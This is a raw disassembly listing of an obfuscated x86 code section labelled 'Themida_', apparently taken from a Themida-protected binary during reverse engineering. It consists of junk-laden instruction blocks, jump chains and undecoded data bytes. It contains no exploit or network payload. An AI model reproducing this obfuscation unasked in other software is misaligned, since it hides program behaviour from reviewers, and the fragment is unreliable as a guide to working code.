Themida_:005505B5j push small word ptr [eax] jmp loc_544B12 ; --------------------------------------------------------------------------- db 5Dh dd 5C243C87h, 0BB241C89h, 74FE6151h, 6BE0E9h db 0 ; --------------------------------------------------------------------------- loc_549935: ; CODE XREF: Themida_:0054949Dj mov [esp], eax mov eax, esp push ecx mov ecx, 20D93CFCh jmp loc_550C9A ; --------------------------------------------------------------------------- db 8Bh, 14h, 24h dd 8304C483h, 348702C6h, 0D3665C24h, 0E99C243Ch, 20C7h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_549F6A ; --------------------------------------------------------------------------- loc_549964: ; CODE XREF: Themida_:0054FE3Aj mov esp, [esp] push ebx mov ebx, 48C603D1h jmp loc_54CC8F ; --------------------------------------------------------------------------- dw 0EC83h dd 243C8904h, 4EC81h, 34890000h, 0E9C68924h, 5693h, 2BBh dd 8BDE0100h, 0C481241Ch, 4, 31243433h, 34332434h, 6478E924h dd 34890000h, 0BAF3E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5499AE: ; CODE XREF: Themida_:005503BEj mov ebx, 3F4B0F76h mov ebp, ebx pop ebx xor ebp, 63D86606h inc ebp shl ebp, 4 shl ebp, 2 jmp loc_5452CD ; --------------------------------------------------------------------------- loc_5499C8: ; CODE XREF: Themida_:00550102j mov ecx, esp push edx jmp loc_5494DF ; --------------------------------------------------------------------------- dd 0E389535Bh, 4C381h, 70E90000h, 8100005Eh, 17DF9EEh dd 242C8B6Ch, 72B9E9h db 0 ; --------------------------------------------------------------------------- loc_5499ED: ; CODE XREF: Themida_:00548C76j not edx jmp loc_54B72E ; --------------------------------------------------------------------------- dd 2268C681h, 0F68120D0h, 27242C66h, 0D88AEE81h, 0F0010FFCh dd 0BA21E95Eh, 0EB87FFFFh, 0FFFFEB81h, 0E94BFFFFh, 0FFFFD367h dd 5159EF30h, 0B4E914B5h, 66000016h, 0E924048Bh, 6D7Ch ; --------------------------------------------------------------------------- loc_549A30: ; CODE XREF: Themida_:0054D482j jmp loc_544B12 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5B04h, 6A44E924h, 77FF0000h, 59669D1Ch, 9C241CD3h dd 0FFB0C1E9h, 242C8BFFh, 5AE6E9h, 0F6CDFE00h, 68DDh, 2C280000h dd 242C8A24h, 3A3FE9h, 2434FF00h, 495CE9h, 0B9515000h dd 25B064F4h, 0B064F6B8h, 59C82925h, 5758C701h, 42474FFh dd 83243C8Bh, 0AE904C4h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549A97: ; CODE XREF: Themida_:0054E6BAj push ebp jmp loc_54ED47 ; --------------------------------------------------------------------------- db 20h, 0EAh, 8Bh dd 0C483240Ch, 0FFC28004h, 2829B551h, 912C59EAh, 6866D028h dd 89666681h, 91B22414h, 7010E9h db 0 ; --------------------------------------------------------------------------- loc_549AC1: ; CODE XREF: Themida_:00550C3Cj sub ebx, 0A118E100h mov edx, ebx mov ebx, [esp] add esp, 4 dec edx sub edx, 6A4D72D5h inc edx neg edx jmp loc_550D14 ; --------------------------------------------------------------------------- dw 0FF50h dd 58042474h, 8B24048Fh, 57E92424h db 66h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549AEF: ; CODE XREF: Themida_:0054FE78j pop ebp shr eax, 10h xor eax, ecx xor eax, ebx xor ebx, eax xor eax, ebx push ebx push edx pop ebx mov edx, [esp] jmp loc_5491DC ; --------------------------------------------------------------------------- dw 0E955h dd 0FFFFD62Ah, 240C8B66h, 4EC8156h, 54000000h, 8124048Fh dd 42404h, 348B0000h, 4C48324h, 0CEDAE953h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549B2E: ; CODE XREF: Themida_:00548C1Dj pop ecx sub esi, 77C62FF7h add esi, ecx add esi, 77C62FF7h sub esp, 4 mov [esp], eax jmp loc_54A67C ; --------------------------------------------------------------------------- loc_549B48: ; CODE XREF: Themida_:0054D9D8j push ebx push 75F77ED8h pop ebx push edx jmp loc_546038 ; --------------------------------------------------------------------------- loc_549B55: ; CODE XREF: Themida_:0054802Dj push ecx mov ecx, 4 jmp loc_54BE0D ; --------------------------------------------------------------------------- dd 4C481h, 0C5830000h, 242C3302h, 33242C31h, 248B242Ch dd 4096624h, 93E99C24h, 0BEFFFFAFh, 3C2379CAh, 5151E9h db 0 ; --------------------------------------------------------------------------- loc_549B89: ; CODE XREF: Themida_:0054AFDCj pop ebp jmp loc_548DD3 ; --------------------------------------------------------------------------- loc_549B8F: ; CODE XREF: Themida_:005485D6j mov edi, [esp] add esp, 4 add edi, 4 push eax mov eax, 4 add edi, eax pop eax push edi push dword ptr [esp+4] mov edi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] mov esp, [esp] loc_549BC2: ; CODE XREF: Themida_:loc_5485BEj ; Themida_:0054A1DCj push dword ptr [edi+24h] push 4921h mov [esp], edx mov edx, 350A3FA5h jmp loc_5492C9 ; --------------------------------------------------------------------------- db 5Eh dd 4C681h, 0EC810000h, 4, 48D7E9h, 51170400h, 0A6E98BB1h dd 66000006h, 3166F731h, 3366243Ch, 3166243Ch, 0BE9243Ch dd 81FFFFAFh, 6E94B8F1h, 59CB01B8h, 4C381h, 1C870000h dd 2C815C24h, 7C006D24h, 5CD7E90Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_549C26: ; CODE XREF: Themida_:00550F64j xchg ebp, [esp] mov esp, [esp] or edx, eax shl edx, 1 push 10B2h mov [esp], eax mov eax, 0FFFFFFFFh jmp loc_54DB26 ; --------------------------------------------------------------------------- dw 34FFh dd 3E95924h, 0E900004Fh, 0FFFFAEC2h, 525EF321h, 295445BAh dd 0F7DAF75Eh, 12CA81D2h, 81372B3Dh, 0E6609DEAh, 0E9D3095Dh dd 5F0Ah, 4C181h, 0C1830000h, 240C8704h, 74FF535Ch, 8F5B0424h dd 9AE92404h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_549C8B: ; CODE XREF: Themida_:0054CB4Fj mov eax, [esp] add esp, 4 jmp loc_54D542 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 4C481h, 38880000h, 81241C8Bh, 4C4h, 0D55FE900h, 348BFFFFh dd 4C48324h, 5C24048Fh, 24048B66h, 57E38953h, 4BFh, 0EC0BE900h dd 1CF6FFFFh, 0DFE99C24h db 42h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549CD7: ; CODE XREF: Themida_:005455ECj push edi mov edi, esp jmp loc_54D9FC ; --------------------------------------------------------------------------- db 2Dh dd 6F432CEFh, 5556D801h, 855B4DBDh, 2CABBE36h, 0EE315BC5h dd 14F7565Dh, 0D6F75E24h, 8107EEC1h, 821997CEh, 10EE8139h dd 1CA976Dh, 335B5EF0h, 4312404h, 24043324h, 6624248Bh dd 57240C8Bh, 243C8B54h, 4C481h, 0BA520000h, 4, 34FFD701h db 24h, 5Ah ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 jmp loc_550647 ; --------------------------------------------------------------------------- loc_549D44: ; CODE XREF: Themida_:0054760Aj neg edx xchg edx, edi add edi, 42F4426Ch jmp loc_54F6E1 ; --------------------------------------------------------------------------- loc_549D53: ; CODE XREF: Themida_:0054F6A2j push ebp push dword ptr [esp+4] pop ebp jmp loc_54E8BE ; --------------------------------------------------------------------------- dw 48Fh dd 24248B24h, 9C2404D3h, 0FFADA5E9h, 56E289FFh, 675C0FBEh dd 0C2CE8128h, 0F717351Bh, 44DE9D6h, 34870000h, 0C3815C24h dd 2, 3E74E953h, 0C7010000h, 0A4E95058h, 0FFFFFFE5h, 669D1C77h dd 24041858h, 0AD68E99Ch, 34FFFFFFh, 89525824h, 4BF57E2h dd 1000000h, 42BCE9FAh, 0CA810000h, 59951EB1h, 2E99F281h dd 0D689C3CBh, 5EF3295Ah, 652E4F05h, 2DD80159h, 59652E4Fh dd 81241C8Bh, 4C4h, 242C8B00h, 0E904C483h, 0FFFFAD22h ; --------------------------------------------------------------------------- loc_549DF0: ; CODE XREF: Themida_:00548A62j mov esi, 142D6473h jmp loc_5508C3 ; --------------------------------------------------------------------------- loc_549DFA: ; CODE XREF: Themida_:005493E6j mov [esp], edx sub esp, 4 mov [esp], eax jmp loc_550F2F ; --------------------------------------------------------------------------- db 31h dd 0ED815FFEh, 59DF1E08h, 0C581F529h, 59DF1E08h, 5DEF295Eh dd 0B7E9565Eh, 81FFFFDDh, 4ECh, 241C8900h, 0FFF274E9h dd 7EAC1FFh, 25D3E9h, 0BDC98100h, 813D2035h, 0BE4DBFC1h dd 0BAF1814Dh, 57CCFCC3h, 17081DBFh, 0E3F7815Eh, 816ACF6Dh dd 346193E7h, 0BEF78157h, 0E971361Ah, 4BE7h ; --------------------------------------------------------------------------- loc_549E6C: ; CODE XREF: Themida_:0054F749j mov esi, [esp] jmp loc_54F521 ; --------------------------------------------------------------------------- loc_549E74: ; CODE XREF: Themida_:005463ADj add esi, 4 jmp loc_54A281 ; --------------------------------------------------------------------------- db 42h dd 0EA98E942h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_549E86: ; CODE XREF: Themida_:0054590Aj xor eax, 7DBE054Fh mov ebx, eax push dword ptr [esp] pop eax push edx mov edx, esp add edx, 4 jmp loc_548F30 ; --------------------------------------------------------------------------- loc_549E9F: ; CODE XREF: Themida_:0054ADC5j xor bl, 3Bh add al, bl jmp loc_54FBDB ; --------------------------------------------------------------------------- db 0F6h, 0D0h, 0E9h dd 4B6Dh, 4244C31h, 24348B59h, 0E9E28952h, 4528h ; --------------------------------------------------------------------------- loc_549EC0: ; CODE XREF: Themida_:00545160j add al, 52h add al, 60h sub al, 2Fh mov cx, [esp] push edi mov edi, esp add edi, 4 jmp loc_550613 ; --------------------------------------------------------------------------- dd 0FFAC35E9h, 8E8C1FFh, 6850C831h, 3802h, 58241C89h, 83241C8Bh dd 148904ECh, 0B5E95424h, 81000009h, 4ECh, 242C8900h, 49D0BE56h dd 8B560C2Bh, 0C481242Ch, 4, 46ED815Eh, 0C10F9D01h, 0ED8104EDh dd 6CAC7210h, 6ADFE951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F2A: ; CODE XREF: Themida_:0054A331j mov eax, 1536488Eh xor eax, 2D723BDAh mov edx, eax pop eax inc edx jmp loc_54D4EF ; --------------------------------------------------------------------------- db 89h, 3Ch, 24h dd 5E35BDBFh, 0EBD5523h, 0E93ACB0Ah, 838h, 4C581h, 0C5810000h dd 4, 31242C33h, 2C33242Ch, 3DC5E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F6A: ; CODE XREF: Themida_:0054995Fj add ebp, 4 add ebp, 4 jmp loc_5500AD ; --------------------------------------------------------------------------- dd 4C281h, 89E90000h, 0C1000016h, 0E0C106E0h, 6E2CE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549F8E: ; CODE XREF: Themida_:0054D580j jmp loc_544B12 ; --------------------------------------------------------------------------- loc_549F93: ; CODE XREF: Themida_:0054C10Dj push eax push 101B4FD6h mov eax, [esp] add esp, 4 push esi jmp loc_548D87 ; --------------------------------------------------------------------------- db 8Bh, 4, 24h dd 815D5455h, 4C5h, 4BA5200h, 0E9000000h, 0FFFFBB7Fh, 835FF801h dd 12E904ECh, 1000026h, 243C8BF8h, 6A30E9h db 0 ; --------------------------------------------------------------------------- loc_549FD1: ; CODE XREF: Themida_:0054AEEBj push edi jmp loc_549549 ; --------------------------------------------------------------------------- db 5Ch dd 0FFAB35E9h, 5AB951FFh, 0C129CF41h, 0F18102E1h, 46D27130h dd 0F181D1F7h, 1E108BA3h, 8759C801h, 835C2404h, 348704C6h dd 24248B24h, 7968E1F7h, 89000068h, 0E789243Ch, 8904EC83h dd 4BA2414h, 0E9000000h, 58BDh, 48BC331h, 4C48124h, 0E9000000h dd 59ADh ; --------------------------------------------------------------------------- loc_54A030: ; CODE XREF: Themida_:0054ED12j xchg ebx, [esp] pop esp jmp loc_547EB1 ; --------------------------------------------------------------------------- db 81h, 0C6h, 0E8h dd 8B3F4357h, 0F9E92404h, 89FFFFC1h, 8BD989D3h, 0C481241Ch dd 4, 0E2E9415Ah, 1FFFFFDh, 79BD55F7h, 4D263579h, 8103E5C1h dd 0C36E5FEDh, 5CE91Eh, 0EC810000h, 4, 0E9240C89h, 132Dh dd 0DDF7815Bh, 0E9697B73h, 0FFFFE097h, 0BF57EBD1h, 1, 4167C381h dd 0FB016934h, 4167EB81h, 0F75F6934h, 8E3C1D3h, 0F5F2BF57h dd 96E978A1h, 8F000059h, 57E94047h, 54FFFFAAh, 0E5BD555Ah dd 0E92BD15Eh, 5F58h ; --------------------------------------------------------------------------- loc_54A0C8: ; CODE XREF: Themida_:00545A7Aj pop esp jmp loc_54EEE6 ; --------------------------------------------------------------------------- dw 0E581h dd 7E2C0223h, 13BF5756h, 0BE60CE3Ch, 9745EAE2h, 0FFFD26E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A0E5: ; CODE XREF: Themida_:0054B886j add al, bh mov ebx, [esp] add esp, 4 add al, bl push edx mov dh, 0D9h dec dh jmp loc_545E0E ; --------------------------------------------------------------------------- dd 240C8B5Fh, 8904EC83h, 5E542434h, 0FFD86AE9h, 241C31FFh dd 8B241C33h, 0CFF2424h, 0F3E99C24h, 66FFFFA9h, 52C18059h dd 0E6E9D928h, 5AFFFFE9h, 7E2C14Ah, 10685657h, 5E3F9D76h dd 658AEE81h, 0EE815904h, 0B420C010h, 0F75EF789h, 4E7C1D7h dd 7DBFE781h, 0F7811552h, 714510DCh, 3284F781h, 0FA31186Eh dd 8AE2815Fh, 537FB20Ah, 0EA29E0BBh, 5FB95112h, 0E934620Ah dd 26D5h ; --------------------------------------------------------------------------- loc_54A178: ; CODE XREF: Themida_:0054E56Ej mov ecx, [esp] push edi jmp loc_54FD15 ; --------------------------------------------------------------------------- db 81h, 0F5h, 94h dd 21B41EBDh, 0BF575DEAh, 0DEEFDE7Ch, 15FFA01h, 24148BD3h dd 81E68956h, 4C6h, 4C68300h, 0FFFBD9E9h, 0D8E9ACFFh, 59000015h dd 4205D829h, 553A247Fh, 96BA5257h, 89061D3Dh, 24148BD7h dd 4C481h, 0EEE90000h, 81FFFFE8h, 88A02CEEh, 0F4F1E9C0h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A1DA: ; CODE XREF: Themida_:00550481j or eax, eax jz loc_549BC2 push dword ptr [edi+28h] push dword ptr [esp] mov eax, [esp] jmp loc_54C547 ; --------------------------------------------------------------------------- dd 4C481h, 6D680000h, 89000053h, 2C81243Ch, 0C168424h dd 24148B1Ch, 298968h, 0AA07E900h, 8158FFFFh, 4C4h, 24048F00h dd 2404005Ch, 0A8ECE99Ch, 0C483FFFFh, 0FFBF5704h, 0E9194541h dd 24E1h ; --------------------------------------------------------------------------- loc_54A234: ; CODE XREF: Themida_:00550B89j xchg ebp, esi not ebp xchg ebp, esi xor esi, 1C71060Eh neg esi not esi xor esi, 2C300158h jmp loc_550116 ; --------------------------------------------------------------------------- aUsZ db 'UИ╠Z',0 dd 7DC38100h, 810DFD15h, 8959B2C3h, 81E3D102h, 0F960C4E3h dd 0ACC38107h, 935B14Fh, 0E56FE9DFh, 0C583FFFFh, 242C3302h dd 0FFAF40E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A281: ; CODE XREF: Themida_:00549E7Aj push edi mov edi, 4 add esi, edi pop edi jmp loc_54817A ; --------------------------------------------------------------------------- db 0B8h dd 41590C2Dh, 48A3E9h, 8E9C000h, 0E90AC180h, 5A7Eh ; --------------------------------------------------------------------------- loc_54A2A4: ; CODE XREF: Themida_:00545A13j mov eax, 5389367Dh jmp loc_54AEF6 ; --------------------------------------------------------------------------- loc_54A2AE: ; CODE XREF: Themida_:0054DFABj pop edx push ebx mov ebx, esp push esi jmp loc_54AC04 ; --------------------------------------------------------------------------- dd 8324348Bh, 4CE904C4h, 68FFFFEDh, 519Eh, 0B8240489h dd 3F093682h, 19B3C381h, 0C30175F1h, 0FFCE4EE9h, 0E2B850FFh dd 5165D273h, 0B54ACCB9h, 59C8294Fh, 59F5EE81h, 0C62965BFh dd 59F5C681h, 15865BFh, 16C681C6h, 0E9161D29h, 1E34h, 0FFA805E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A30D: ; CODE XREF: Themida_:00550121j add ebx, 291DD885h add ecx, ebx pop ebx mov [ecx], edx push dword ptr [esp] jmp loc_548998 ; --------------------------------------------------------------------------- dd 405h, 4B34E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A32A: ; CODE XREF: Themida_:005508F7j push edi not dword ptr [esp] pop edi push edx push eax jmp loc_549F2A ; --------------------------------------------------------------------------- dw 0E942h dd 0FFFFFAF9h ; --------------------------------------------------------------------------- loc_54A33C: ; CODE XREF: Themida_:005486CDj pop edi jmp loc_549111 ; --------------------------------------------------------------------------- loc_54A342: ; CODE XREF: Themida_:0054E5DCj add edi, edx sub edi, 61D94855h pop edx xor edi, [esp] xor [esp], edi jmp loc_54CE17 ; --------------------------------------------------------------------------- dw 0E883h dd 24048704h, 0FFB01DE9h, 0BBE981FFh, 0E97C387Eh, 22DCh dd 110D355Bh, 0C229199Fh, 0E924048Bh, 0FFFFAE2Ah, 583EB850h dd 592D1E4Eh, 0E913C930h, 0FFFFC4FFh, 5215BD55h, 0F5815F94h dd 6AFB7FC8h, 36ED814Dh, 81149D10h, 1EB774EDh, 8BEA29FFh dd 0C481242Ch, 4, 539ABE56h, 74013A1Ah, 34FF0824h, 0C4815E24h dd 4, 4245401h, 4246C81h, 3A1A539Ah, 2434FF5Ah, 8124048Bh dd 4C4h, 48F0E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A3E2: ; CODE XREF: Themida_:0054B8ACj pop ebp jmp loc_55110D ; --------------------------------------------------------------------------- dd 5504C483h, 41E9C589h db 0C9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3F3: ; CODE XREF: Themida_:0054CF78j not esi add esi, 61BD1FF4h add esi, 4B96583Fh not esi add esi, 0A1AF7E8h add ebp, esi pop esi add ebp, 4 jmp loc_5457D7 ; --------------------------------------------------------------------------- db 68h dd 3086h, 0E9240C89h, 382Eh, 243C8B54h, 0FFEE78E9h, 48B66FFh dd 5B545324h, 64C668h, 243C8900h, 5BB46856h, 348B47CEh dd 4C48124h, 0C1000000h, 0BB5303EEh, 0F706348Eh, 895BDE01h dd 24348BF7h, 0FFC539E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A461: ; CODE XREF: Themida_:00545573j mov edi, 7BF0172Bh or eax, edi jmp loc_5490EC ; --------------------------------------------------------------------------- db 80h, 0C2h, 35h dd 8AF280h, 0BBE95AD4h, 8100000Fh, 0AC042444h, 0E94B4071h dd 18F0h, 761868h, 241C8900h, 4BBh, 5BD98900h, 0C8BCE01h dd 59545124h, 6636E9h, 81E90100h, 0E673A9E9h, 242C8B74h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] push dword ptr [esp] pop ecx push 50FDh mov [esp], ebx mov ebx, esp jmp loc_544E59 ; --------------------------------------------------------------------------- aSs_ db '^ИА.',0 db 0 ; --------------------------------------------------------------------------- loc_54A4E7: ; CODE XREF: Themida_:0054A6C4j xor eax, edi push edx jmp loc_54FEAC ; --------------------------------------------------------------------------- db 80h dd 0F58006CDh, 59EE009Fh, 8FE9D6F6h db 62h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A4FF: ; CODE XREF: Themida_:0054FAC0j or esi, 47DE7242h push eax mov eax, 1954396h not eax dec eax push ecx mov ecx, 58474579h xor eax, ecx mov ecx, [esp] add esp, 4 jmp loc_54ACF2 ; --------------------------------------------------------------------------- db 53h, 0E9h, 6Eh dd 0BAFFFFB6h, 4, 0FFFE4BE9h, 24148BFFh, 4C481h, 48F0000h dd 24248B24h, 24048B66h, 301D68h, 24348900h, 9E68E689h dd 8900002Fh, 0F2E9240Ch, 0E9FFFFC6h, 0FFFFA5B2h, 0F480DCF6h dd 58E20077h, 46CCE9h, 241C8B00h, 0FFCCFEE9h, 0C18159FFh dd 4, 4CBB5352h, 8177B516h, 0F82C11CBh, 96F38139h, 810C7C4Bh dd 40C04CC3h, 0FFDA8998h, 0BDE92434h, 66FFFFBCh, 5966CB29h dd 0E9C0B70Fh, 2529h, 0DE5E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A5B2: ; CODE XREF: Themida_:0054E373j push edi mov edi, 1BA66002h neg edi shr edi, 5 sub edi, 16BC3CAAh not edi inc edi xor edi, 0F9D131Ah mov ebx, edi pop edi dec ebx shl ebx, 1 jmp loc_54D585 ; --------------------------------------------------------------------------- loc_54A5D7: ; CODE XREF: Themida_:0054D699j push dword ptr [esp] pop eax add esp, 4 push ebp sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop ebp add ebp, 4 jmp loc_550CFD ; --------------------------------------------------------------------------- loc_54A5F8: ; CODE XREF: Themida_:0054DC6Cj push cx pushf jmp loc_54A770 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 0FFCE76E9h, 4EF81FFh, 87000000h, 545C243Ch dd 8324048Fh, 5A042404h, 4C281h, 0BE560000h, 4, 0A5E9F201h dd 2D000000h, 4E0CF09Dh, 473FE9h, 8BF98900h, 0C483243Ch dd 0E9C80104h, 0FFFFE0D1h ; --------------------------------------------------------------------------- loc_54A64C: ; CODE XREF: Themida_:0054ACD3j add bl, 1Ch add bl, al jmp loc_550761 ; --------------------------------------------------------------------------- dw 0C281h dd 99716963h, 1E15E9h db 0 ; --------------------------------------------------------------------------- loc_54A661: ; CODE XREF: Themida_:0054CCD1j xor bl, al jmp loc_54FA26 ; --------------------------------------------------------------------------- loc_54A668: ; CODE XREF: Themida_:0054E872j add esp, 4 jmp loc_54BB3C ; --------------------------------------------------------------------------- dd 63685152h, 0E92B9F05h, 2EF3h ; --------------------------------------------------------------------------- loc_54A67C: ; CODE XREF: Themida_:00549B43j mov eax, 297168DEh sub esi, eax pop eax mov ecx, [esp] add esp, 4 xchg esi, [esp] jmp loc_546173 ; --------------------------------------------------------------------------- dw 0F909h dd 2CF3E9h, 9C506600h, 0FFA471E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A6A1: ; CODE XREF: Themida_:00544BFDj add ebx, 4 push ecx jmp loc_5461FC ; --------------------------------------------------------------------------- loc_54A6AD: ; CODE XREF: Themida_:0054EAD6j mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp xor eax, edi xor edi, eax jmp loc_54A4E7 ; --------------------------------------------------------------------------- db 33h, 2Ch, 24h dd 33242C31h, 0E95C242Ch, 0FFFFED72h, 2414875Eh, 5AE9575Ch dd 31FFFFEFh, 14332414h, 24248B24h, 9C242CD3h, 0FFA41DE9h dd 0E8215EFFh, 0E951535Dh, 0FFFFDEAAh ; --------------------------------------------------------------------------- loc_54A700: ; CODE XREF: Themida_:00549197j pop ebx sub eax, 90185277h add edi, 7C8D6C50h push ebp mov ebp, 612C3922h jmp loc_54C6DC ; --------------------------------------------------------------------------- db 28h dd 838104D8h, 148904ECh, 52B75324h, 0FA3061B2h, 0BFA4E95Bh dd 835DFFFFh, 148704EAh, 0C895C24h, 79B524h, 240C8BEBh dd 4C481h, 0E9520000h, 0FFFFA640h, 8124348Bh, 4C4h, 0BD555F00h dd 4, 815DEF01h, 2C7h, 243C8700h, 0E924248Bh, 0FFFFC64Ah ; --------------------------------------------------------------------------- loc_54A770: ; CODE XREF: Themida_:0054A5FBj jmp loc_544B12 ; --------------------------------------------------------------------------- db 1, 0E9h, 5Dh dd 0F29DF181h, 0CB89AD6Dh, 0E9240C8Bh, 0FFFFFC60h, 0E95DEF01h dd 3EB7h, 1C8BDF31h, 29E95024h, 80FFFFAEh, 5CE96EC1h, 8900001Fh dd 84BF243Ch, 5345998h, 5ED0683h, 832DF801h, 8B05ED06h dd 8950243Ch, 0BA5253E0h, 235C71F0h, 4524C1BBh, 5AD33145h dd 5E0EE381h, 514B249Dh, 0D612BFB9h, 0D9F74116h, 0CF18149h dd 81035108h, 7F09A4C9h, 3AC18131h, 3123CE81h, 0EB8159CBh dd 3B573D0Ah, 575BD801h, 4BFh, 8BF80100h, 0C481243Ch, 4 dd 2474FF50h, 48F5804h, 24248B24h, 0FFFAA6E9h, 8BD301FFh dd 0C4832414h, 81C32904h, 7F343EEBh, 9CC3810Ch, 586CDF62h dd 0D7E930FFh, 5BFFFFA2h, 529CCD81h, 0F5810A80h, 7AC252DEh dd 9E9EF01h db 56h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A84F: ; CODE XREF: Themida_:0054B729j pop esp jmp loc_550BE6 ; --------------------------------------------------------------------------- db 1, 0CBh, 59h dd 0E9241C87h, 470Dh, 89241C89h, 266852E3h, 8B6B032Fh dd 0C4832414h, 0C2814A04h, 5E801C12h, 1379EA81h, 0EA835DAFh dd 8BD55FFh, 4D604925h, 0E902E5C1h, 0FFFFF8F1h ; --------------------------------------------------------------------------- loc_54A890: ; CODE XREF: Themida_:0054C1DAj add bh, al pop eax jmp loc_54EC2C ; --------------------------------------------------------------------------- loc_54A898: ; CODE XREF: Themida_:005487B5j add ebp, ebx jmp loc_54E6B9 ; --------------------------------------------------------------------------- db 5Bh dd 8059EE88h, 0EE8081CEh, 0E9F02889h, 0FFFFDF81h, 530FE95Ah dd 0CB890000h, 0ABC38159h, 0E9586433h, 3365h, 4C781h, 0C7810000h dd 4, 0FFEFB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A8D5: ; CODE XREF: Themida_:005503D2j push dword ptr [edi+eax*4] push ebx mov ebx, 6D10014Bh push edx mov edx, 0B2DE78D5h add ebx, edx jmp loc_54C54F ; --------------------------------------------------------------------------- db 56h dd 337C06BEh, 5EF10917h, 6320E9h, 4077FF00h, 0FFA211E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A901: ; CODE XREF: Themida_:0054DA3Ej push 705Ah mov [esp], ebx mov ebx, 5AFE05D3h sub ebx, 1 push edi jmp loc_54C953 ; --------------------------------------------------------------------------- loc_54A91A: ; CODE XREF: Themida_:0054E8B4j pop esp mov [esp], ebx push esp mov ebx, [esp] jmp loc_54E6B1 ; --------------------------------------------------------------------------- db 8Fh dd 5852E902h, 77FF0000h, 11589D1Ch, 0E99C2404h, 0FFFFA1D6h dd 0E904EC83h, 4F16h, 3AE95E66h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A94B: ; CODE XREF: Themida_:00550C2Cj add ecx, 4 sub ecx, 4 push ecx push dword ptr [esp+4] pop ecx jmp loc_550C7F ; --------------------------------------------------------------------------- loc_54A95F: ; CODE XREF: Themida_:0054554Aj mov esp, [esp] sub esp, 2 jmp loc_54E6BF ; --------------------------------------------------------------------------- db 81h, 0F2h, 0B8h dd 0C14E3A78h, 0F28103E2h, 76CAB1Ah, 79C9C681h, 8EE913A6h dd 81000016h, 4C2h, 4BD5500h, 1000000h, 14875DEAh, 0D8015C24h dd 0F526AB2Dh, 6AFE95Bh, 68570000h, 21733402h, 0A4CF815Fh dd 81124213h, 562F14C7h, 4E7C11Dh, 300DBB53h, 0DF312A38h dd 5FFA895Bh, 0FFDF95E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A9CD: ; CODE XREF: Themida_:005480EDj xor edi, ebp xor ebp, edi xor edi, ebp add ebp, 1 jmp loc_54CB80 ; --------------------------------------------------------------------------- dw 0C781h dd 4, 8B243C87h, 34FF2424h, 2434FF24h, 329AE959h, 8B660000h dd 0EC83240Ch, 241C8904h, 0BA525B54h, 1D5277DEh, 0F702E2C1h dd 2FB668D2h, 4890000h, 0EBBD5524h, 0D1690856h, 0BDCAE9EDh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA22: ; CODE XREF: Themida_:0054B7B1j mov [esp], eax mov eax, 2 add ebp, eax push dword ptr [esp] pop eax push edi mov edi, esp add edi, 4 jmp loc_5500D1 ; --------------------------------------------------------------------------- loc_54AA3E: ; CODE XREF: Themida_:0054CAD8j push 19B5h mov [esp], esi push ebp mov ebp, 7B0708A1h push ebp jmp loc_5474B1 ; --------------------------------------------------------------------------- dw 0C781h dd 6F62097Fh, 6856CF01h, 1571h, 0E9242C89h, 0FFFFB42Ah dd 0E289525Eh, 4C281h, 0D9E90000h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AA77: ; CODE XREF: Themida_:0054C50Fj push ebp push ebx jmp loc_54F0FF ; --------------------------------------------------------------------------- dw 0C381h dd 4, 8704C383h, 0BF5C241Ch, 3E2E21F0h, 0FFD59DE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AA95: ; CODE XREF: Themida_:0054DABEj mov esi, [esp] add esp, 4 sub ebp, 4 jmp loc_54E8B1 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0E9242C89h, 33F3h ; --------------------------------------------------------------------------- loc_54AAB4: ; CODE XREF: Themida_:00546CF8j sub edi, 358C1FA7h add ebx, edi pop edi sub esp, 4 jmp loc_546B07 ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 57E08950h, 0FFD7E5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54AAD1: ; CODE XREF: Themida_:0054AC3Ej pop esi shl edx, 6 neg edx xor edx, 5548671Fh not edx add edx, 1E6D8AAh sub edi, edx jmp loc_54D109 ; --------------------------------------------------------------------------- dd 4C681h, 0C6810000h, 4, 0E9243487h, 2771h ; --------------------------------------------------------------------------- loc_54AB00: ; CODE XREF: Themida_:00547B8Cj add ecx, 412869B8h add ecx, 135869F0h 